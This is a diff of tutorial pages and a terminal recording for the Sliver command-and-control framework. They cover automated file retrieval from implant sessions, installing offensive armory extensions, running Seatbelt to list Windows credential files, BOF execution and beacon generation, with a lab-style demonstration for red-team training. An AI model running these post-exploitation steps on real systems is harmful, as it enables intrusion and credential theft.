file_listing = await interact.ls("C:/Windows/System32/drivers/etc/hosts")
if file_listing.Exists:
gzipFile = await interact.download("C:/Windows/System32/drivers/etc/hosts")
contents = gzip.decompress(gzipFile.Data)
print('%r' % contents)
```
If we run our script and spin up a few sessions we should start to see hosts files being retrieved.
```bash
python3.11 autocat.py
Automatically interacting with session 16338c85-b670-44ab-ac83-2df885654b07
b"# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# ...
Automatically interacting with session 93fcbab2-f00d-44a4-944a-e1ea8ec324e2
b'##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1...
```
@@ -0,0 +1,96 @@
# This course is intended for the 1.6 version of Sliver, which is not yet published
The Sliver armory is used to install and maintain third party extensions and aliases within sliver. The full list of available extensions can be found at https://github.com/sliverarmory/armory, keep in mind this is community maintained so not all modules are necessarily up to date.
You can download all configured extensions/aliases using the armory command.
```bash
[server] sliver > armory install all
? Install 18 aliases and 84 extensions? Yes
[*] Installing alias 'SharpSecDump' (v0.0.1) ... done!
[*] Installing alias 'SharpChrome' (v0.0.1) ... done!
[*] Installing alias 'SharpDPAPI' (v0.0.1) ... done!
[*] Installing alias 'SharpMapExec' (v0.0.1) ... done!
[*] Installing alias 'KrbRelayUp' (v0.0.1) ... done!
[*] Installing alias 'SharpRDP' (v0.0.1) ... done!
[*] Installing alias 'SharpUp' (v0.0.1) ... done!
[*] Installing alias 'SharpView' (v0.0.1) ... done!
[*] Installing alias 'SharPersist' (v0.0.1) ... done!
[*] Installing alias 'Sharp WMI' (v0.0.2) ... done!
...
[*] All packages installed
```
These commands can then be used in the context of a session or beacon similarly to other commands, with a couple caveats.
Let’s go ahead and run our first assembly.
```bash
[server] sliver (UNABLE_PRIDE) > seatbelt " WindowsCredentialFiles"
[*] seatbelt output:
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
====== WindowsCredentialFiles ======
Folder : C:\Users\defaultuser0\AppData\Local\Microsoft\Credentials\
...
```
As you can see Sliver ran the Seatbelt assembly and provided us with the output of our command.
## Bof’s
Beacon object files are loaded using trustedsec’s coffloader. When you run a bof command the loader will first be loaded into memory and is used to run whichever bof you choose. From an operator’s perspective bof’s are similar to basic sliver commands.
```bash
[server] sliver (UNABLE_PRIDE) > sa-whoami
[*] Successfully executed sa-whoami (coff-loader)
[*] Got output:
UserName SID
====================== ====================================
test.local\tester
GROUP INFORMATION Type SID Attributes
================================================= ===================== ============================================= ==================================================
test.local\None Group S-1-5-21-3109228153-3872411817-1195593578-513 Mandatory group, Enabled by default, Enabled group,
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Local account and member of Administrators groupWell-known group S-1-5-114
BUILTIN\Administrators Alias S-1-5-32-544
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group,
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group,
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group,
Mandatory Label\Medium Mandatory Level Label S-1-16-8192 Mandatory group, Enabled by default, Enabled group,
Privilege Name Description State
============================= ================================================= ===========================
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
```
Since these payloads are run in-process, they have similar advantages and drawbacks as in-process assemblies, meaning no new processes are spawned on execution, but a crash risks losing the implant.
@@ -0,0 +1,25 @@
const fs = require('fs/promises');
const path = require('path');
const workingDirectory = process.cwd();
const directoryPath = `${workingDirectory}/pages/tutorials/md`;
async function generateSiteMap() {
const ls = await fs.readdir(directoryPath);
const files = ls.filter((file) => file.endsWith('.md'));
const tutorials = [];
for (const file of files) {
const filePath = path.join(directoryPath, file);
const fileContent = await fs.readFile(filePath, 'utf8');
const name = path.basename(file).replace('.md', '');
tutorials.push({
name: name,
content: fileContent,
});
};
return {tutorials: tutorials};
}
generateSiteMap().then(async (sitemap) => {
await fs.writeFile(`${workingDirectory}/public/tutorials.json`, JSON.stringify(sitemap));
});
@@ -0,0 +1,527 @@
{"version": 2, "width": 107, "height": 52, "timestamp": 1714588161, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
[0.132264, "o", "\u001b[?2004h"]
[0.140303, "o", "root@98df0494f659:~# "]
[0.525856, "o", "."]
[0.571373, "o", "/"]
[0.677428, "o", "s"]
[0.80137, "o", "l"]
[0.900872, "o", "i"]
[1.067898, "o", "v"]
[1.193122, "o", "e"]
[1.279315, "o", "r"]
[1.36486, "o", "-"]
[1.709238, "o", "s"]
[1.754379, "o", "e"]
[1.807274, "o", "r"]
[2.019023, "o", "v"]
[2.17738, "o", "e"]
[2.269213, "o", "r"]
[2.382114, "o", "\r\n"]
[2.388885, "o", "\u001b[?2004l\r"]
[3.468332, "o", "\u001b[31m\r\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\r\n\u001b[0m\r\nAll hackers gain dethrone\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m"]
[3.469064, "o", "\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
[3.47244, "o", "\r\n"]
[3.497313, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[3.498826, "o", "\u001b[1 q"]
[3.501024, "o", "\u001b[?25l"]
[3.501556, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[3.5023, "o", "\u001b[6n"]
[3.50417, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[3.50457, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C"]
[3.505001, "o", "\u001b[107D\u001b[9C\u001b[?25h"]
[4.278164, "o", "\u001b[?25l\u001b[107D"]
[4.281806, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.28757, "o", "g\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[4.288095, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[4.340884, "o", "\u001b[?25l\u001b[107D"]
[4.341643, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.344387, "o", "ge\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[4.345112, "o", "\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[4.484076, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[4.4852, "o", "\u001b[6n"]
[4.493927, "o", "gen\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C"]
[4.49515, "o", "\u001b[107D\u001b[12C\u001b[?25h"]
[4.58054, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.589765, "o", "gene\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[4.589973, "o", "\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
[4.679829, "o", "\u001b[?25l"]
[4.682549, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.688126, "o", "gener\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[14D\u001b[9C\u001b[107D\u001b[14C\u001b[?25h"]
[4.781929, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.788173, "o", "genera\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[4.789433, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[15D\u001b[9C\u001b[107D\u001b[15C\u001b[?25h"]
[4.917404, "o", "\u001b[?25l\u001b[107D"]
[4.918266, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.925373, "o", "generat\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[4.926998, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[16D\u001b[9C\u001b[107D\u001b[16C\u001b[?25h"]
[4.955793, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[4.95674, "o", "\u001b[6n"]
[4.961588, "o", "\u001b[1m\u001b[32mgenerate\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[4.962458, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[17D\u001b[9C\u001b[107D\u001b[17C\u001b[?25h"]
[5.002059, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.00474, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[5.005424, "o", "\u001b[107D\u001b[1A\u001b[18D\u001b[9C\u001b[107D\u001b[18C\u001b[?25h"]
[5.302176, "o", "\u001b[?25l"]
[5.31184, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.318248, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mb\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[5.321166, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[19D\u001b[9C\u001b[107D\u001b[19C\u001b[?25h"]
[5.357574, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.35804, "o", "\u001b[6n"]
[5.36021, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[5.360917, "o", "\u001b[107D\u001b[1A\u001b[20D\u001b[9C\u001b[107D\u001b[20C\u001b[?25h"]
[5.394933, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.396164, "o", "\u001b[6n"]
[5.398201, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbea\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[5.39906, "o", "\u001b[107D\u001b[1A\u001b[21D\u001b[9C\u001b[107D\u001b[21C\u001b[?25h"]
[5.56706, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.570584, "o", "\u001b[6n"]
[5.577426, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeac\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[5.578044, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[22D\u001b[9C\u001b[107D\u001b[22C\u001b[?25h"]
[5.684935, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.701874, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeaco\u001b[0m\u001b[0K\u001b[49m\r"]
[5.703438, "o", "\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[23D\u001b[9C\u001b[107D\u001b[23C\u001b[?25h"]
[5.713547, "o", "\u001b[?25l"]
[5.714074, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.718082, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[5.718541, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[24D\u001b[9C\u001b[107D\u001b[24C\u001b[?25h"]
[5.888006, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.900577, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
[5.901326, "o", "\u001b[25D\u001b[9C\u001b[107D\u001b[25C\u001b[?25h"]
[6.09825, "o", "\u001b[?25l"]
[6.10032, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.117058, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[6.119032, "o", "\u001b[107D\u001b[1A\u001b[26D\u001b[9C\u001b[107D\u001b[26C\u001b[?25h"]
[6.318356, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.325885, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[9C\u001b[107D\u001b[27C\u001b[?25h"]
[6.435974, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.449338, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[6.451031, "o", "\u001b[107D\u001b[1A\u001b[28D\u001b[9C\u001b[107D\u001b[28C\u001b[?25h"]
[6.545817, "o", "\u001b[?25l\u001b[107D"]
[6.548899, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.553581, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[9C\u001b[107D\u001b[29C\u001b[?25h"]
[6.707944, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.725087, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlo\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[6.725431, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[9C\u001b[107D\u001b[30C\u001b[?25h"]
[6.800339, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.80793, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloc\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[9C\u001b[107D\u001b[31C\u001b[?25h"]
[6.873036, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.880291, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloca\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[9C\u001b[107D\u001b[32C\u001b[?25h"]
[6.914397, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.9203, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocal\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[6.920508, "o", "\u001b[1A\u001b[33D\u001b[9C\u001b[107D\u001b[33C\u001b[?25h"]
[7.057965, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.058914, "o", "\u001b[6n"]
[7.07196, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[9C\u001b[107D\u001b[34C\u001b[?25h"]
[7.121583, "o", "\u001b[?25l\u001b[107D"]
[7.124019, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.127161, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalho\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[7.127736, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[9C\u001b[107D\u001b[35C\u001b[?25h"]
[7.155871, "o", "\u001b[?25l\u001b[107D"]
[7.156541, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.158839, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhos\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[9C\u001b[107D\u001b[36C"]
[7.159281, "o", "\u001b[?25h"]
[7.249506, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.255894, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.256084, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[9C\u001b[107D\u001b[37C\u001b[?25h"]
[7.319518, "o", "\u001b[?25l"]
[7.321996, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.326926, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[9C\u001b[107D\u001b[38C"]
[7.327526, "o", "\u001b[?25h"]
[8.244613, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.259371, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[8.261152, "o", "\u001b[107D\u001b[1A\u001b[39D\u001b[9C\u001b[107D\u001b[39C\u001b[?25h"]
[8.373314, "o", "\u001b[?25l"]
[8.381984, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.386997, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[8.387176, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[40D\u001b[9C\u001b[107D\u001b[40C\u001b[?25h"]
[8.54582, "o", "\u001b[?25l\u001b[107D"]
[8.546314, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.551965, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[8.553877, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[9C\u001b[107D\u001b[41C\u001b[?25h"]
[8.659966, "o", "\u001b[?25l"]
[8.664278, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.668403, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--sk\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[8.669495, "o", "\u001b[107D\u001b[1A\u001b[42D\u001b[9C\u001b[107D\u001b[42C\u001b[?25h"]
[8.774433, "o", "\u001b[?25l"]
[8.776254, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.782822, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--ski\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[9C\u001b[107D\u001b[43C\u001b[?25h"]
[8.861897, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.869467, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[44D\u001b[9C\u001b[107D\u001b[44C\u001b[?25h"]
[9.209609, "o", "\u001b[?25l"]
[9.211815, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[9.218382, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[45D\u001b[9C\u001b[107D\u001b[45C\u001b[?25h"]
[9.369014, "o", "\u001b[?25l"]
[9.370477, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[9.383545, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[46D\u001b[9C\u001b[107D\u001b[46C\u001b[?25h"]
[9.538155, "o", "\u001b[?25l"]
[9.539319, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[9.542469, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-sy\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[9.543267, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[47D\u001b[9C\u001b[107D\u001b[47C\u001b[?25h"]
[9.941324, "o", "\u001b[?25l"]
[9.956412, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[9.961491, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-sym\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[9.96293, "o", "\u001b[1A\u001b[48D\u001b[9C\u001b[107D\u001b[48C\u001b[?25h"]
[10.166048, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.175508, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.177995, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[49D\u001b[9C\u001b[107D\u001b[49C\u001b[?25h"]
[10.253067, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.25789, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[50D\u001b[9C\u001b[107D"]
[10.258848, "o", "\u001b[50C\u001b[?25h"]
[10.313217, "o", "\u001b[1 q"]
[10.34198, "o", "\u001b[1 q"]
[10.342195, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.344477, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.344758, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[53D\u001b[9C\u001b[107D\u001b[53C\u001b[?25h"]
[10.88006, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.888613, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
